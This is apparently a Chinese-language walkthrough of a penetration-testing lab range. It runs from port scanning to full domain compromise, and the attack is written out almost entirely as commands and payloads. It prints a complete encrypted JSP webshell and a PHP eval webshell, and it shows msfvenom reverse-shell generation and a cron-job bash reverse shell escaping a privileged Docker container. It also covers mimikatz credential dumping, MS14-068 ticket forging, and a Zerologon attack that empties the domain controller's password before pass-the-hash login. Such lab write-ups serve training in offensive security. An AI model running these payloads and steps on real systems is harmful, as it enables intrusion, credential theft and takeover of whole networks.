信息收集
sudo nmap -sS 192.168.127.0/24 -Pn -T4
发现目标主机开放2001,2002,2003端口
2001端口开放S2服务
2002端口开放tomcat服务
2003端口开放phpmyadmin服务
web渗透
2001端口存在S2漏洞 可以传入冰蝎马
2002存在tomcat put任意文件上传
发送数据包上传冰蝎马
PUT /she.jsp/ HTTP/1.1 Host: 192.168.127.130:2002 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,ee;q=0.6 Cookie: JSESSIONID.2841f571=node0qi098hz1qujm1ouw1ioapfckk1.node0; screenResolution=1920x1080; JSESSIONID.64c40309=node0gg3sj9nvmsnx1lvc3vggizuse0.node0 Connection: close Content-Length: 594 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
2003端口存在phpmyadmin 任意文件读取
可以包含文件 存在漏洞
写入phpinfo查看网站绝对路径
select "<?php phpinfo();?>"
查看session为df0965e07c31efebab2c75f86441909f
包含session文件 /tmp/sess_df0965e07c31efebab2c75f86441909f
包含成功发现网站绝对路径
写入webshell到session
select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"
包含session
http://192.168.127.130:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_df0965e07c31efebab2c75f86441909f
写入成功使用蚁剑进行连接 连接成功
内网渗透
获得一个msf会话
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.127.128 LPORT=4444 -f jsp > shell.jsp
上传shell.jsp 设置监听
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.127.128 set lport 4444 run
访问shell.jsp后得到会话
判断是否为docker
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
为docker 接下来需要docker逃逸到物理机中
判断是否为特权模式启动
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
确定为特权模式启动
Privileged 特权模式容器逃逸
查看磁盘设备 并尝试挂载 挂载成功
fdisk -l mkdir /test mount /dev/sda1 /test cd /test
尝试读取shadow文件
cat /test/etc/shadow
开始写入计划任务
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.127.128/5555 0>&1" >> /test/tmp/test.sh sed -i '$a*/1 * * * * root bash /tmp/test.sh ' /test/etc/crontab cat /test/etc/crontab
写入计划任务成功 nc进行监听
得到shell
物理机上线msf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.127.128 LPORT=6666 -f elf > shell.elf python3 -m http.server 6789 wget http://192.168.127.128:6789/shell.elf
开始内网信息收集
# 双网卡ubuntu 192.168.183.22 192.168.127.130 id #不需要提权了 uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux # 内核版本 可能存在dirty cow cat /proc/version Linux version 4.4.0-142-generic (buildd@lcy01-amd64-006) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.4) ) #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019
上传fscan进行扫描
./fscan_amd64 -h 192.168.183.0/24 -np # 发现两台存活主机 可能存在ms17_010 192.168.183.128 192.168.183.130
上传frp搭建隧道
ms17_010利用拿下win7 但是怎么都拿不下域控 (蓝屏)
抓密码
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit # 只抓到了一个普通用户的密码 douser DEMO Dotest123 sid S-1-5-21-979886063-1111900045-1414766810-1107 demo.com 192.168.183.130
可以使用MS14-068将一个普通域用户提升至域管理员用户
MS14-068/MS14-068.exe at master · ianxtianxt/MS14-068 · GitHub
MS14-068.exe -u [email protected] -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
上面的命令生成一个票据
使用mimikatz导入票据
mimikatz.exe "kerberos::purge" "kerberos::ptc [email protected]"
导入票据后可使用psexec wmiexec smbexec 等连接域控
第二种方法
检测是否存在 netlogon漏洞
proxychains -q python3 zerologon_tester.py WIN-ENS2VR5TR3N 192.168.183.130
将域控密码置为空
proxychains -q python3 set_empty_pw.py WIN-ENS2VR5TR3N 192.168.183.130
proxychains -q impacket-secretsdump -no-pass -just-dc demo/WIN-ENS2VR5TR3N$\@192.168.183.130
使用administrator的hash连接域控
proxychains -q impacket-wmiexec demo/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942
域控连接成功
至此 此个靶场渗透完毕